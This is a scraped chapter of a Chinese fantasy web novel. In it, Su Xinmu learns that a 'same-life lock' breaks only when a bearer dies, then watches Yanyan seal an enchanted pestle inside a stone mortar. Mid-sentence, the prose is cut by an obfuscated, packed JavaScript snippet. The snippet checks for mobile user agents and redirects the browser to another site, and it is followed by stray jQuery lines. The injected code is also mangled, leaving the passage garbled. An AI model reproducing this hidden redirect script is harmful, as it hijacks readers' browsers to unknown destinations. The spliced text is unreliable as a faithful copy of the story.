“其實很簡單,同命鎖作為南疆秘術,這裡的人上到白發老嫗下到黃口小兒,人人皆知其為何物,同命鎖同氣相連,依靠兩個活人的脈息得以維存,若是一方的脈象徹底消失,或者被鎖牽住的二人同時斷息,這鎖不就解開了嗎?”
“你胡說什麼!”
蘇心暮猛地從座位上站起,簡直不可置信。
“照你這麼說,不就是一方死掉就行了嗎?”
沈應星仍是一副事不關己的樣子。
“如若可以,你們二人同時死去也行。”
“你!”
蘇心暮大腦一片空白,幾乎說不出話。
“蘇姑娘不必覺得我危言聳聽,你若上街打聽,人人都會這樣告訴你。”沈應星淺淺一笑,“不然,它為何叫同命鎖呢?”
沈應星起身,理了理自己的衣襟,向她行禮。
“沈某多謝蘇姑娘相助,告辭。”
說罷,沈應星轉身離開了石門館。蘇心暮站在原地,久久不能自已。
午後,蘇心暮在地宮裡又見到了燕燕。
她帶回了黑色的紗巾,將自己的烏發緊緊縛在巾內,站在那個巨大的石臼之前,久久看著,一言不發。
蘇心暮一靠近便覺得氣氛有異,雖然燕燕一句話也沒說,但她覺得燕燕在傷心。
蘇心暮慢慢走到她背後,喚她的
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156699|133044||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
名字。
“燕燕?”
燕燕沒有回頭,不知道是否聽到了她的聲音。
“你以前來過碧落城嗎?”蘇心暮問道。
過了半晌,燕燕緩緩收回目光,她臉上無喜無悲,看著很是平靜。
“嗯。”
“這裡有你認識的朋友嗎?”
“朋友?”燕燕木然地看向四周,“他不是我的朋友,他是我見過的,最特彆的人。”
“告訴我他是誰,可以嗎?”
蘇心暮小心地試探著她,以燕燕的性子,說話時一個不注意就有可能打起來,蘇心暮直覺認為燕燕不想告訴她這些往事。
“我愛的人。”
這句話一說出來,蘇心暮倒吸一口涼氣。
“他還活著嗎?”
燕燕搖搖頭。
“有些時候,逝去的人也不想看你這樣難過。如果他真的是蒙袒殺的,現在蒙袒已經死了,你也算大仇得報了。”
“他沒有死,”燕燕忽然道,“但也不是活著。”
蘇心暮斂聲,她就該知道會這樣。
“往事不可追,與其糾結於那些,不如你教教我,怎麼能把這個石臼毀掉?”蘇心暮指著麵前的石臼,“以防萬一,畢竟這個東西現在已經人儘皆知了,要是不毀掉,遲早還得出問題。”
燕燕歎了一聲,指向蘇心暮的腰包。
“把你的附魔杵拿出來。”
蘇心暮依言取出附魔杵,遞給了她。
“這個東西,你今後還要嗎?”
“啊?這個······”蘇心暮語塞片刻,“我也說不好······但附魔杵原本是你們雁門打造的,若是你想收回,那收回也行。”
“不是收回。”
燕燕拿著附魔杵走近石臼,伸手揭開石臼中央貼著的一道符咒。
蘇心暮還沒來得及阻止,便發現石臼中央有一道深深的凹痕,燕燕招手叫蘇心暮過來,讓她與自己按住石臼的上下兩部分,再向反方向推去。
蘇心暮依言做了,隻聽得一陣石器摩擦的沉重之聲,石臼上半部分居然裂成了兩半,現出了深不見底的凹槽。
“把它放進去,再用泥料把石臼灌死,這裡從此就太平了,你要這麼做嗎?”
燕燕手持附魔杵,深不見底的眼瞳看向蘇心暮。
蘇心暮忙不迭地點頭,燕燕隨即將附魔杵丟進了石臼中,然後再按原樣將石臼合並。石臼合上的那一刻,燕燕拾起散落的紙符,將它們重新貼在石臼上。
“你今日去城中找一個石匠,告訴他······”
燕燕說著轉過身去,卻看見蘇心暮直直向後傾倒,摔倒在地。
燕燕一驚,連忙過去扶起她。
“怎麼了?”
蘇心暮倒在地上,一隻手撐起自己,一隻手扶著自己的額頭。
“我······我剛才看見了一個影子,是一個女人,她拿著一麵銅鏡,就像蒙袒一樣將鏡麵對著我,然後我就沒有意識了。”
“是她。”燕燕意味深長地看著蘇心暮,“你也看到她了。”
“她就是做出這個石臼的人,對嗎?”
蘇心暮急切地抓住燕燕的手。
燕燕扶她起來,對她道:“她叫向嵐尋,就是我告訴你的,這一切的起源。”
“怎麼會······”
蘇心暮困惑之際,燕燕卻用一根手指按著自己的嘴唇,示意她噤聲。
偌大的宮室沉靜了片刻,燕燕低聲對她說:“她就是你們該找的人。”
蘇心暮怔怔地看了她片刻,隨即用唇語輕聲道。
“蓬萊洲?”
燕燕縮回手,重新遮上了自己的麵紗。
她後退幾步,久久地望著蘇心暮,忽然道:“你可曾愛過什麼人?”
蘇心暮一驚。
“為什麼說這個?”
“要不了多久,你就會見到她,見到那個女人,到那時你就會知道,當一個人把恨看得與愛一樣重要時,究竟會發生什麼。”